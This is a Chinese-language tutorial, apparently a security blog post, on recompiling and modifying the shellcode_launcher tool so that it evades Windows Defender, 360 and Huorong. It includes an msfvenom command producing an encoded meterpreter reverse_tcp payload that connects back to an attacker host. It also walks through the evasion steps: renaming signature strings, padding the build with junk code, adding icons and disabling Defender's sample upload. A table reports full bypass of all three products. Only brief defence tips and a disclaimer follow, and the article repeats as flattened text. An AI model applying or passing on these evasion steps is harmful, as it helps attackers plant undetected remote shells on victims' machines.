老树开新花之shellcode_launcher免杀Windows Defender
字数 2009 2025-08-29 08:31:35

Shellcode Launcher免杀Windows Defender技术分析

1. 概述

本文档详细分析了一种基于shellcode_launcher的Windows Defender免杀技术,适用于网络安全研究人员进行防御性研究。该技术通过源代码修改和编译技巧,实现了对最新版Windows Defender、360和火绒的静态和动态免杀。

2. 环境准备

2.1 测试环境配置

  • 攻击机:

    • 系统: Mac OS
    • IP: 10.211.55.2
    • 工具: MSF6
  • 测试机1:

    • 系统: Windows10
    • IP: 10.211.55.3
    • 安全软件: 360最新版、Windows Defender最新版
  • 测试机2:

    • 系统: Windows7
    • IP: 10.211.55.9
    • 安全软件: 火绒最新版
  • 测试机3:

    • 系统: Windows Server 2019
    • IP: 192.168.238.145
    • 安全软件: 火绒最新版、Windows Defender最新版

2.2 工具准备

  • shellcode_launcher:

    • 项目地址: https://github.com/clinicallyinane/shellcode_launcher/
    • 备用地址: https://github.com/crow821/crowsec/tree/master/BypassAv_new_shellcode_launcher1.1
  • 编译环境:

    • Visual Studio 2012

3. 技术实现

3.1 Shellcode生成

使用MSFvenom生成混淆后的shellcode:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=1234 -f raw -o shellcode.raw

注意: 虽然shikata_ga_nai编码可过部分AV,但在VT上仍有杀软可识别其特征。

3.2 基础免杀测试

3.2.1 原始文件测试

  • 直接使用GitHub下载的shellcode_launcher.exe:
    • 360联网查杀: 立即检测为木马
    • 火绒: 立即检测为威胁

3.2.2 源代码编译测试

  1. 使用VS2012打开源代码
  2. 不做任何修改直接编译
  3. 重命名生成文件为_av.execrow_test_av.raw
  4. 测试结果:
    • 360: 静态免杀成功
    • 火绒: 仍被检测

3.3 火绒免杀技术

3.3.1 特征分析

使用strings提取可执行文件字符串:

strings.exe crow_test_av.exe > 0115.txt

发现关键特征字符串shellcode_launcher.exe

3.3.2 修改策略

  1. 替换关键字:

    • shellcode_launcher替换为hello_crow
    • 共修改3处
  2. 注释/删除可疑代码段

  3. 重新编译并重命名为a.exe

结果: 成功绕过火绒检测

3.4 Windows Defender免杀

3.4.1 环境配置

  1. 确保Windows Defender开启
  2. 关闭360(防止冲突)
  3. 关闭Windows Defender的样本自动上传功能

3.4.2 测试结果

  • 静态检测:

    • 修改后的a.exe: 通过
    • 直接编译的crow_test_av.exe: 通过
    • 原始shellcode_launcher.exe: 被检测
  • 动态检测:

    • 修改后的文件均可正常上线

3.5 增强免杀技术

3.5.1 添加图标

  1. 在VS项目中添加资源
  2. 导入ICO文件(可使用在线生成器: http://www.bitbug.net/)
  3. 重新编译

3.5.2 代码混淆

  1. 添加无关C++文件
  2. 插入无意义代码段
  3. 重新编译增强混淆效果

4. 技术总结

4.1 免杀效果

安全产品 静态检测 动态检测
360最新版
火绒最新版
Windows Defender

4.2 技术要点

  1. 源代码编译优于直接使用二进制: 直接编译可绕过部分特征检测
  2. 关键字符串修改: 替换项目相关特征字符串
  3. 代码混淆: 添加无关代码增加分析难度
  4. 资源修改: 添加图标等资源降低可疑度
  5. 环境配置: 关闭自动样本上传功能

4.3 局限性

  1. MSFvenom生成的shellcode仍可能被部分AV检测
  2. 动态行为检测仍是免杀最大挑战
  3. 免杀效果具有时效性,需持续更新技术

5. 防御建议

  1. 启用多引擎扫描机制
  2. 保持安全软件更新至最新版本
  3. 监控可疑进程行为而非仅依赖静态扫描
  4. 限制未知来源可执行文件运行
  5. 启用EDR类解决方案增强行为检测

6. 法律声明

本文档所有技术内容仅供网络安全研究使用,任何未经授权的渗透测试行为均属违法。使用者应对其行为负全部法律责任,作者不对任何滥用行为负责。请确保在合法授权范围内进行安全测试,并在测试后24小时内删除所有相关工具文件。

Shellcode Launcher免杀Windows Defender技术分析 1. 概述 本文档详细分析了一种基于shellcode_ launcher的Windows Defender免杀技术,适用于网络安全研究人员进行防御性研究。该技术通过源代码修改和编译技巧,实现了对最新版Windows Defender、360和火绒的静态和动态免杀。 2. 环境准备 2.1 测试环境配置 攻击机 : 系统: Mac OS IP: 10.211.55.2 工具: MSF6 测试机1 : 系统: Windows10 IP: 10.211.55.3 安全软件: 360最新版、Windows Defender最新版 测试机2 : 系统: Windows7 IP: 10.211.55.9 安全软件: 火绒最新版 测试机3 : 系统: Windows Server 2019 IP: 192.168.238.145 安全软件: 火绒最新版、Windows Defender最新版 2.2 工具准备 shellcode_ launcher : 项目地址: https://github.com/clinicallyinane/shellcode_ launcher/ 备用地址: https://github.com/crow821/crowsec/tree/master/BypassAv_ new_ shellcode_ launcher1.1 编译环境 : Visual Studio 2012 3. 技术实现 3.1 Shellcode生成 使用MSFvenom生成混淆后的shellcode: 注意 : 虽然shikata_ ga_ nai编码可过部分AV,但在VT上仍有杀软可识别其特征。 3.2 基础免杀测试 3.2.1 原始文件测试 直接使用GitHub下载的shellcode_ launcher.exe: 360联网查杀: 立即检测为木马 火绒: 立即检测为威胁 3.2.2 源代码编译测试 使用VS2012打开源代码 不做任何修改直接编译 重命名生成文件为 _av.exe 和 crow_test_av.raw 测试结果: 360: 静态免杀成功 火绒: 仍被检测 3.3 火绒免杀技术 3.3.1 特征分析 使用strings提取可执行文件字符串: 发现关键特征字符串 shellcode_launcher.exe 。 3.3.2 修改策略 替换关键字: 将 shellcode_launcher 替换为 hello_crow 共修改3处 注释/删除可疑代码段 重新编译并重命名为 a.exe 结果 : 成功绕过火绒检测 3.4 Windows Defender免杀 3.4.1 环境配置 确保Windows Defender开启 关闭360(防止冲突) 关闭Windows Defender的样本自动上传功能 3.4.2 测试结果 静态检测: 修改后的 a.exe : 通过 直接编译的 crow_test_av.exe : 通过 原始 shellcode_launcher.exe : 被检测 动态检测: 修改后的文件均可正常上线 3.5 增强免杀技术 3.5.1 添加图标 在VS项目中添加资源 导入ICO文件(可使用在线生成器: http://www.bitbug.net/) 重新编译 3.5.2 代码混淆 添加无关C++文件 插入无意义代码段 重新编译增强混淆效果 4. 技术总结 4.1 免杀效果 | 安全产品 | 静态检测 | 动态检测 | |---------|---------|---------| | 360最新版 | ✓ | ✓ | | 火绒最新版 | ✓ | ✓ | | Windows Defender | ✓ | ✓ | 4.2 技术要点 源代码编译优于直接使用二进制 : 直接编译可绕过部分特征检测 关键字符串修改 : 替换项目相关特征字符串 代码混淆 : 添加无关代码增加分析难度 资源修改 : 添加图标等资源降低可疑度 环境配置 : 关闭自动样本上传功能 4.3 局限性 MSFvenom生成的shellcode仍可能被部分AV检测 动态行为检测仍是免杀最大挑战 免杀效果具有时效性,需持续更新技术 5. 防御建议 启用多引擎扫描机制 保持安全软件更新至最新版本 监控可疑进程行为而非仅依赖静态扫描 限制未知来源可执行文件运行 启用EDR类解决方案增强行为检测 6. 法律声明 本文档所有技术内容仅供网络安全研究使用,任何未经授权的渗透测试行为均属违法。使用者应对其行为负全部法律责任,作者不对任何滥用行为负责。请确保在合法授权范围内进行安全测试,并在测试后24小时内删除所有相关工具文件。